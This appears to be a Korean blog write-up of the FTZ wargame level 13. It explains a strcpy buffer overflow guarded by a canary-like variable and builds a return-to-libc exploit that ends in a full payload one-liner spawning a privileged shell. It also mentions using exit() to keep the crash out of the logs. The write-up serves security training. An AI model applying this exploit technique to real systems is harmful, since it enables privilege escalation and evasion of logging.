tmxklab

[FTZ] Level13 풀이 본문

War Game/FTZ

[FTZ] Level13 풀이

tmxk4221 2020. 1. 12. 21:20

1. 문제확인

1) 사용자 및 패스워드 : level13 / have no clue

 

2) 파일확인

 

3) hint 코드 설명

#include <stdlib.h>

main( int argc, char *argv[] )
{
	long i=0x1234567;
	char buf[1024];
	
	setreuid(3094, 3094);
	
	// "./attackme [인자값]"인 경우 argc는 2, argv[0]은 "./attackme", argv[1]은 "인자값"
	// 즉, 인자 값을 buf에 복사
	if(argc > 1)
		strcpy(buf, argv[1]);
	
	// 이미 0x1234567로 초기화된 i값이 아니라면 if문 실행
	// kill함수의 첫 번째 인자는 프로세스 id, 두 번째 인자는 프로세스id 
	if(i!=0x1234567){
		printf("Warnning: Buffer Overflow !!!\n");
		kill(0,11);
	}
}
  • main()의 인자 값을 통해 프로그램 실행과 함께 사용자의 입력을 받아 buf에 복사 가능
  • i변수를 초기화시킨 후 사용자의 입력을 받을 수 있는 buf배열 선언
  • strcpy()에서 buf변수에 1024bytes보다 더 큰 입력 값을 넣을 수 있음 -> bof 취약점 존재
  • 만일 i의 값을 변경시킬 경우 kill()이 실행되면서 프로그램 종료 

2. 접근방법

 

1) attackme 디버깅

main() 시작

  • 1~2번 : 함수의 프롤로그(push ebp, mov ebp esp)
  • 3~4번 : 1048bytes만큼 스택 확보(esp = esp - 1048), [ebp-12]의 위치에 0x1234567값을 넣음(참고로 DWORD PTR이란 4바이트 단위로 접근하겠다는 의미) → 즉, 처음 long타입(4bytes)의 i변수의 값을 0x1234567로 초기화할 때 ebp-12에 값을 넣음

setreuid()

  • 5~9번 : setreuid()실행하기 전에 2개의 인자 값을 먼저 스택에 쌓음, 따라서 0xc16(3094)라는 4bytes값을 쌓기 전에 esp위치를 8bytes만큼 늘리고 push 2번 수행 후 setreuid함수 실행하고 다시 esp위치 복귀

첫 번째 if문

  • 10~11번 : cmp와 jle명령어를 통해 if문 검사, ebp+8이 위치하는 곳에 argc의 값이 저장되어있으므로 cmp [ebp+8]과 1을 비교, 이후에 jle를 통해 argc의 값이 1보다 작거나 같을 경우 main+69의 위치로 이동 아니면 다음 명령어 실행
  • 12~15번 : 15번, 17번에 2번 push하므로 12번에서 스택을 8bytes만큼 확보, 이후에 strcpy의 두 번째 인자 값을 push하기 위해서 [ebp+12]를 eax에 넣음(ebp+12에는 argv[0]의 문자열이 존재하는 주소 값이 존재함), 하지만 strcpy에서 복사하는 값은 argv[1]이므로 add eax, 0x4를 통해 argv[1]의 문자열이 존재하는 주소 값의 위치를 알아내고 스택에 push함
  • 16~19번 : strcpy의 첫 번째 인자 값을 push하기 위해 [ebp-1048]를 eax로 복사한 뒤 push함(ebp-1048은 buf배열의 주소값), strcpy의 인자 값 전부 push된 이후에 call명령어로 인해 strcpy실행 후 add명령어로 esp위치 다시 복귀
※ 참고
cmp 명령어
- 형식 : cmp [destination], [source]
- 설명 : 두 값을 비교하여 ZE(Zero flag)와 CF(Carry Flag)값 세팅
① destination < source : ZE=0, CF=1
② destination > source : ZE=0, CF=0
③ destination == source : ZE=1, CF=0

 

※ 참고
jle(jump less or equal) 명령어 (이외에도 다양한 분기 명령어 존재, 따로 정리할 것)
- 형식 : jle proc
- 설명 : 프로그램의 흐름을 바꿀 때 사용되며 proc의 주소로 가서 명령어를 실행(주로 if문이나 for문에 나타남), jle는 분기 명령어 중 하나로 작거나 같을 때 분기함, 즉, cmp의 비교 값(ZE, CF)를 보고 분기할지 안할지 결정

 

두 번째 if문

  • 20~21번 : cmp명령어로 [ebp-12]에 있는 0x1234567과 0x1234567를 비교한 뒤 je(jump equal)명령어로 같은 경우 main+109로 이동하여 실행, 같지 않은 경우 다음 명령어 실행
  • 22~25번 : printf()의 인자 값(0x80485a0, "Warnning: Buffer Overflow !!! \n")을 push, esp위치 다시 복귀
  • 26~30번 : kill함수의 인자 값 2개를 push하고 kill함수 호출 후 esp위치 다시 복귀

 

main() 끝

  • 31~32번 : 함수의 에필로그(leave, ret)

 

2) 스택구조

 

 

3) 결론

  • strcpy()의 취약점을 이용하여 buf배열의 크기(1024bytes)보다 큰 값을 사용자의 입력(argv[1])을 넣어 ret주소 값이 위치한 부분에 system()과 exit()의 주소를 입력
  • i의 값이 변경되면 두 번째 if문에 의해 프로그램이 종료되므로 변하지 않도록 i가 위치한 곳에 원래 초기화한 값(0x1234567)을 써줘야함
  • 이 때, i는 Stack Guard와 같은 역할을 가지게 됨

3. 풀이

 

1) 디버깅을 통해 system()과 exit()주소 획득

  • system() 주소 : 0x4203f2c0
  • exit() 주소 : 0x42029bb0

 

2) /bin/sh 문자열 주소 획득

 - /bin/sh문자열 주소 획득을 위해 다음 코드 작성 및 컴파일

#include <stdio.h>
#include <string.h>

int main()
{
	long shell = 0x4203f2c0; // system()의 주소
	while(memcmp((void*)shell, "/bin/sh", 8)) shell++;
	printf("Address : %p\n", shell);
}

 

  • /bin/sh 주소 : 0x42127ea4

3) RTL공격 수행

 

* 페이로드 작성
[쓰레기 값(1036bytes)] + [0x123456(4bytes)] + [쓰레기 값(12bytes)] + [system()주소] + [exit()주소] + [/bin/sh주소]
[쓰레기 값(1036bytes)] : buf[1024bytes] + dummy[8bytes]만큼의 쓰레기 값으로 채움
[0x123456(4bytes)] : i변수에 0x123456으로 다시 세팅
[쓰레기 값(12bytes)] : dummy[8bytes] + SFP[4bytes]를 쓰레기 값으로 채움 
[system()주소] + [exit()주소] + [/bin/sh주소] : RET위치에 system()의 주소 채움

* [system()주소] + [exit()주소] + [/bin/sh주소]설명
 - RET의 위치에 system()의 주소가 있으므로 RET에 의해 system()호출
 - system()이 호출될 때 esp+8에 /bin/sh 문자열의 주소가 들어있으므로 system()의 인자로 들어가 쉘 권한을 획득할 수 있음
 - system() 다음 4bytes에는 아무 더미 값을 넣어도 상관없지만 잘못된 종료로 인하여 로그에 기록되지 않기 위해 exit()의 주소로 사용

 

* 공격 코드
./attackme python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\xc0\xf2\x03\x42"+"\xb0\x9b\x02\x42"+"\xa4\x7e\x12\x42"'

'War Game > FTZ' 카테고리의 다른 글

[FTZ] Level16 풀이  (0) 2020.01.12
[FTZ] Level15 풀이  (0) 2020.01.12
[FTZ] Level14 풀이  (0) 2020.01.12
[FTZ] Level12 풀이  (0) 2020.01.12
[FTZ] Level11 풀이  (0) 2020.01.12
Comments